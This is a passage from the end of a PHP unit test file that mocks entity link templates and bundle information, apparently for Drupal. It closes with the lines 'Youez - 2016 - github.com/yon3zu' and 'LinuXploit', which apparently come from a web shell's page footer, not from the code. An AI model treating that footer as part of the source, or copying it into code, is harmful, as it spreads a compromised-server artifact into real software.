      $link_template => "/test-entity/{test_entity}/$link_template",
    ];
    $this->entityType->getLinkTemplates()->willReturn($link_templates);
  }

  /**
   * Registers bundle information for the mock entity type.
   *
   * @param array $bundle_info
   *   The bundle information to register.
   */
  protected function registerBundleInfo($bundle_info) {
    $this->entityTypeBundleInfo
      ->getBundleInfo($this->entityTypeId)
      ->willReturn([$this->entityTypeId => $bundle_info]);
  }

}

abstract class RevisionableEntity extends EntityBase implements RevisionableInterface {}

Youez - 2016 - github.com/yon3zu
LinuXploit